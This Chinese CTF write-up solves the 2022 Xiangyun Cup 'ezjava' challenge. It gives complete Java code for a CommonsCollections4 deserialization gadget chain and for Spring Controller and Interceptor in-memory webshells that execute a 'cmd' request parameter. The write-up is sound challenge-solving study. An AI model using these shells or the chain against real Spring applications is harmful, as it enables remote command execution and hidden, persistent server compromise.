[祥云杯 2022]ezjava

20 篇文章 1 订阅

前言

比赛中卡在了内存马上,了解完Controller和Interceptor内存马后,再来复现一下。

复现

package com.ctf.ezjava.controller;

import java.io.ByteArrayInputStream;
import java.io.ObjectInputStream;
import java.util.Base64;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RestController;

@RestController
public class Hello {
    public Hello() {
    }

    @GetMapping({"/hello"})
    public String hello() {
        return "hello";
    }

    @PostMapping({"/myTest"})
    public String myTest(@RequestBody String baseStr) {
        try {
            byte[] decode = Base64.getDecoder().decode(baseStr);
            ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(decode));
            ois.readObject();
            return "true";
        } catch (Exception var4) {
            System.out.println(var4);
            return "false";
        }
    }
}

有个反序列化入口,并且项目里有commons-collections4-4.0.jar依赖,直接打CC2或CC4就行,但卡在了两个地方:

绕过@RequestBody

其实也不算是绕过,主要知识储备不够导致的。

Demo

import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;

@RestController
public class TestController {
    @RequestMapping("/test")
    public String test(String name){
        System.out.println(name);
        return name;
    }
}

不加@RequestBody时,当请求localhost:8081/test?name=Sentiment后,name的值是Sentiment
在这里插入图片描述

而若加上@RequestBody后,此时在请求localhost:8081/test?name=Sentiment后,name的值就变成了name=Sentiment,也就是上了前边的name=,明显前半段内容是我们不想要的,而若不传name=只传后边的Sentiment又传不进去
在这里插入图片描述

所以就需要把内容类型直接改成text/plain,这样就可以直接传值了,构造CC4的链尝试攻击,成功弹出计算器

在这里插入图片描述

但是本题环境不止本地环境如此,题目环境是一个不出网的环境,无法反弹shell,所以还需要构造内存马

内存马构造

这里有个注意点,由于使用CC4的攻击方式,而CC4是通过动态加载字节码的,所以在构造恶意字节码文件时需要继承AbstractTranslet, 之前提到过

Controller内存马

package com.sentiment.controller;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.ResponseBody;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;

import javax.servlet.http.HttpServletRequest;
import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.lang.reflect.Method;

public class TestController extends AbstractTranslet {
    static {
        try {
            WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.THEME_SOURCE", 0);

            // 2. 从context中获得 RequestMappingHandlerMapping 的实例
            RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);

            // 3. 通过反射获得自定义 controller 中的 Method 对象
            Method method = TestController.class.getMethod("test");

            // 4. 在内存中动态注册 controller
            RequestMappingInfo info = new RequestMappingInfo(null, null, null, null, null, null,
                    null);

            TestController injectToController = new TestController();
            mappingHandlerMapping.registerMapping(info, injectToController, method);

        } catch (NoSuchMethodException e) {
            throw new RuntimeException(e);
        }

    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
    @ResponseBody
    public String test() throws Exception {
        // 获取request
        HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();

        InputStream is = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
        InputStreamReader isr = new InputStreamReader(is, "UTF-8");
        BufferedReader br = new BufferedReader(isr);
        String str = "";
        String line = "";

        while ((line = br.readLine())!=null){
            str+=line;
        }
        is.close();
        br.close();
        return str;
    }
}

Interceptor内存马

package com.sentiment.controller;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.servlet.HandlerInterceptor;
import org.springframework.web.servlet.ModelAndView;
import org.springframework.web.servlet.handler.AbstractHandlerMapping;
import org.springframework.web.servlet.handler.MappedInterceptor;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.lang.reflect.Field;
import java.util.ArrayList;

public class TestInterceptor extends AbstractTranslet implements HandlerInterceptor{
    static {
        try{
            // 1. 获取上下文环境
            WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);

            // 2. 通过上下文获取RequestMappingHandlerMapping
            RequestMappingHandlerMapping  mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);

            // 3、反射获取adaptedInterceptors属性
            Field field = AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
            field.setAccessible(true);
            ArrayList<HandlerInterceptor> adaptedInterceptors = (ArrayList<HandlerInterceptor>)field.get(mappingHandlerMapping);

            //4、生成MappedInterceptor对象
            MappedInterceptor mappedInterceptor = new MappedInterceptor(null,null,new TestInterceptor());

            // 5、添加到adaptedInterceptors中
            adaptedInterceptors.add(mappedInterceptor);

       } catch (NoSuchFieldException e) {
           e.printStackTrace();
        } catch (IllegalAccessException e) {
            throw new RuntimeException(e);
        }
    }

    @Override
    public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
        InputStream is = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
        InputStreamReader isr = new InputStreamReader(is, "UTF-8");
        BufferedReader br = new BufferedReader(isr);
        String str = "";
        String line = "";

        while ((line = br.readLine())!=null){
            str+=line;
        }
        is.close();
        br.close();
        response.getWriter().write(str);
        return false;
    }

    @Override
    public void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView) throws Exception {
    }

    @Override
    public void afterCompletion(HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) throws Exception {
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}

CC4

package CommonsCollections4;


import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.*;

import java.util.PriorityQueue;

public class CC4Test {

    public static void main(String[] args) throws Exception {
        FileInputStream fis =new FileInputStream("D:\\TestController.class");
        byte[] bs = new byte[fis.available()];
        fis.read(bs);
        Templates templates = new TemplatesImpl();
        setFieldValue(templates,"_name","Sentiment");
        setFieldValue(templates,"_bytecodes",new byte[][]{bs});



        Transformer[] transformers=new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates})
        };
        ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);


        TransformingComparator transformingComparator=new TransformingComparator(new ConstantTransformer<>(1));

        PriorityQueue priorityQueue=new PriorityQueue<>(transformingComparator);
        priorityQueue.add(1);
        priorityQueue.add(0);

        Class c=transformingComparator.getClass();
        Field transformField=c.getDeclaredField("transformer");
        transformField.setAccessible(true);
        transformField.set(transformingComparator,chainedTransformer);

        serialize(priorityQueue);
        //unserialize("1.txt");
        }


    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj,value);
    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("1.txt"));
        out.writeObject(obj);
    }

    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
        ObjectInputStream In = new ObjectInputStream(new FileInputStream(Filename));
        Object o = In.readObject();
        return o;
    }
}

controller

构造好后,通过/myTest传进去,再?cmd=shell执行命令
在这里插入图片描述

Interceptor

通过拦截器执行命令,所以访问/myTest生成内存马后,再/myTest?cmd=shell执行命令,或者访问hello触发拦截器也可

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值